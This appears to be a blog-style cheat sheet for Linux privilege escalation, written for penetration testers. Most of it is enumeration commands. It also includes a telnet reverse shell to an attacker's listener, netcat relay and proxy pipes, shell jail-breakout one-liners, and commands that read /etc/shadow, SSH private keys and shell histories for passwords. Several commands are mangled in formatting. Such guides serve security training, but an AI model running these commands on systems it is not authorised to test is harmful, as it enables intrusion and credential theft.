Basic Linux Privilege Escalation

Before starting, I would like to point out – I’m no expert. As far as I know, there isn’t a “magic” answer, in this huge area. This is simply my finding, typed up, to be shared (my starting point). Below is a mixture of commands to do the same thing, to look at things in a different place or just a different light. I know there more “things” to look for. It’s just a basic & rough guide. Not every command will work for each system as Linux varies so much. “It” will not jump off the screen – you’ve to hunt for that “little thing” as “the devil is in the detail“.

Enumeration is the key.

(Linux) privilege escalation is all about:

Collect – Enumeration, more enumeration and some more enumeration.
Process – Sort through data, analyse and prioritisation.
Search – Know what to search for and where to find the exploit code.
Adapt – Customize the exploit, so it fits. Not every exploit work for every system “out of the box”.
Try – Get ready for (lots of) trial and error.

Operating System

What’s the distribution type? What version?

1 2 3 4 cat /etc/issue cat /etc/*-release cat /etc/lsb-release # Debian based cat /etc/redhat-release # Redhat based

What’s the kernel version? Is it 64-bit?

1 2 3 4 5 6 cat /proc/version uname -a uname -mrs rpm -q kernel dmesg | grep Linux ls /boot | grep vmlinuz-

What can be learnt from the environmental variables?

1 2 3 4 5 6 7 cat /etc/profile cat /etc/bashrc cat ~/.bash_profile cat ~/.bashrc cat ~/.bash_logout env set

Is there a printer?

1	`lpstat -a`

Applications & Services

What services are running? Which service has which user privilege?

1 2 3 4 ps aux ps -ef top cat /etc/services

Which service(s) are been running by root? Of these services, which are vulnerable – it’s worth a double check!

1 2	`ps aux \| grep root ps -ef \| grep root`

What applications are installed? What version are they? Are they currently running?

1 2 3 4 5 6 ls -alh /usr/bin/ ls -alh /sbin/ dpkg -l rpm -qa ls -alh /var/cache/apt/archivesO ls -alh /var/cache/yum/

Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?

1 2 3 4 5 6 7 8 9 10 cat /etc/syslog.conf cat /etc/chttp.conf cat /etc/lighttpd.conf cat /etc/cups/cupsd.conf cat /etc/inetd.conf cat /etc/apache2/apache2.conf cat /etc/my.conf cat /etc/httpd/conf/httpd.conf cat /opt/lampp/etc/httpd.conf ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

What jobs are scheduled?

1 2 3 4 5 6 7 8 9 10 11 12 crontab -l ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root

Any plain text usernames and/or passwords?

1 2 3 4 grep -i user [filename] grep -i pass [filename] grep -C 5 "password" [filename] find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla

Communications & Networking

What NIC(s) does the system have? Is it connected to another network?

1 2 3 /sbin/ifconfig -a cat /etc/network/interfaces cat /etc/sysconfig/network

What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?

1 2 3 4 5 6 cat /etc/resolv.conf cat /etc/sysconfig/network cat /etc/networks iptables -L hostname dnsdomainname

What other users & hosts are communicating with the system?

1 2 3 4 5 6 7 8 9 10 lsof -i lsof -i :80 grep 80 /etc/services netstat -antup netstat -antpx netstat -tulpn chkconfig --list chkconfig --list | grep 3:on last w

Whats cached? IP and/or MAC addresses

1 2 3 arp -e route /sbin/route -nee

Is packet sniffing possible? What can be seen? Listen to live traffic

1	`tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21`

Note: tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

Have you got a shell? Can you interact with the system?

1 2 3 nc -lvp 4444 # Attacker. Input (Commands) nc -lvp 4445 # Attacker. Ouput (Results) telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP!

Note: http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/

Is port forwarding possible? Redirect and interact with traffic from another view

Note: http://www.boutell.com/rinetd/

Note: http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

Note: http://downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip

Note: FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]

1	`FPipe.exe -l 80 -r 80 -s 80 192.168.1.7`

Note: ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]

1 2	`ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port`

Note: mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe

1 2 3 mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe # Port Relay mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080) mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)

Is tunnelling possible? Send commands locally, remotely

1 2	`ssh -D 127.0.0.1:9050 -N [username]@[ip] proxychains ifconfig`

Confidential Information & Users

Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?

1 2 3 4 5 6 7 8 9 id who w last cat /etc/passwd | cut -d: -f1 # List of users grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users awk -F: '($3 == "0") {print}' /etc/passwd # List of super users cat /etc/sudoers sudo -l

What sensitive files can be found?

1 2 3 4 cat /etc/passwd cat /etc/group cat /etc/shadow ls -alh /var/mail/

Anything “interesting” in the home directorie(s)? If it’s possible to access

1 2	`ls -ahlR /root/ ls -ahlR /home/`

Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords

1 2 3 cat /var/apache2/config.inc cat /var/lib/mysql/mysql/user.MYD cat /root/anaconda-ks.cfg

What has the user being doing? Is there any password in plain text? What have they been edting?

1 2 3 4 5 cat ~/.bash_history cat ~/.nano_history cat ~/.atftp_history cat ~/.mysql_history cat ~/.php_history

What user information can be found?

1 2 3 4 cat ~/.bashrc cat ~/.profile cat /var/mail/root cat /var/spool/mail/root

Can private-key information be found?

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 cat ~/.ssh/authorized_keys cat ~/.ssh/identity.pub cat ~/.ssh/identity cat ~/.ssh/id_rsa.pub cat ~/.ssh/id_rsa cat ~/.ssh/id_dsa.pub cat ~/.ssh/id_dsa cat /etc/ssh/ssh_config cat /etc/ssh/sshd_config cat /etc/ssh/ssh_host_dsa_key.pub cat /etc/ssh/ssh_host_dsa_key cat /etc/ssh/ssh_host_rsa_key.pub cat /etc/ssh/ssh_host_rsa_key cat /etc/ssh/ssh_host_key.pub cat /etc/ssh/ssh_host_key

File Systems

Which configuration files can be written in /etc/? Able to reconfigure a service?

1 2 3 4 5 6 7 ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other find /etc/ -readable -type f 2>/dev/null # Anyone find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone

What can be found in /var/ ?

1 2 3 4 5 6 7 ls -alh /var/log ls -alh /var/mail ls -alh /var/spool ls -alh /var/spool/lpd ls -alh /var/lib/pgsql ls -alh /var/lib/mysql cat /var/lib/dhcp3/dhclient.leases

Any settings/files (hidden) on website? Any settings file with database information?

1 2 3 4 5 ls -alhR /var/www/ ls -alhR /srv/www/htdocs/ ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ ls -alhR /var/www/html/

Is there anything in the log file(s) (Could help with “Local File Includes”!)

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 cat /etc/httpd/logs/access_log cat /etc/httpd/logs/access.log cat /etc/httpd/logs/error_log cat /etc/httpd/logs/error.log cat /var/log/apache2/access_log cat /var/log/apache2/access.log cat /var/log/apache2/error_log cat /var/log/apache2/error.log cat /var/log/apache/access_log cat /var/log/apache/access.log cat /var/log/auth.log cat /var/log/chttp.log cat /var/log/cups/error_log cat /var/log/dpkg.log cat /var/log/faillog cat /var/log/httpd/access_log cat /var/log/httpd/access.log cat /var/log/httpd/error_log cat /var/log/httpd/error.log cat /var/log/lastlog cat /var/log/lighttpd/access.log cat /var/log/lighttpd/error.log cat /var/log/lighttpd/lighttpd.access.log cat /var/log/lighttpd/lighttpd.error.log cat /var/log/messages cat /var/log/secure cat /var/log/syslog cat /var/log/wtmp cat /var/log/xferlog cat /var/log/yum.log cat /var/run/utmp cat /var/webmin/miniserv.log cat /var/www/logs/access_log cat /var/www/logs/access.log ls -alh /var/lib/dhcp3/ ls -alh /var/log/postgresql/ ls -alh /var/log/proftpd/ ls -alh /var/log/samba/ Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp

Note: http://www.thegeekstuff.com/2011/08/linux-var-log-files/

If commands are limited, you break out of the “jail” shell?

1 2 3 python -c 'import pty;pty.spawn("/bin/bash")' echo os.system('/bin/bash') /bin/sh -i

How are file-systems mounted?

1 2	`mount df -h`

Are there any unmounted file-systems?

1	`cat /etc/fstab`

What “Advanced Linux File Permissions” are used? Sticky bits, SUID & GUID

1 2 3 4 5 6 7 8 9 find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here. find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it. find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it. find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID for i in `locate -r "bin$"`; do find $i $ -perm -4000 -o -perm -2000 $ -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search) # find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied) find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

Where can written to and executed from? A few ‘common’ places: /tmp, /var/tmp, /dev/shm

1 2 3 4 5 6 7 find / -writable -type d 2>/dev/null # world-writeable folders find / -perm -222 -type d 2>/dev/null # world-writeable folders find / -perm -o w -type d 2>/dev/null # world-writeable folders find / -perm -o x -type d 2>/dev/null # world-executable folders find / $ -perm -o w -perm -o x $ -type d 2>/dev/null # world-writeable & executable folders

Any “problem” files? Word-writeable, “nobody” files

1 2	`find / -xdev -type d $ -perm -0002 -a ! -perm -1000 $ -print # world-writeable files find /dir -xdev $ -nouser -o -nogroup $ -print # Noowner files`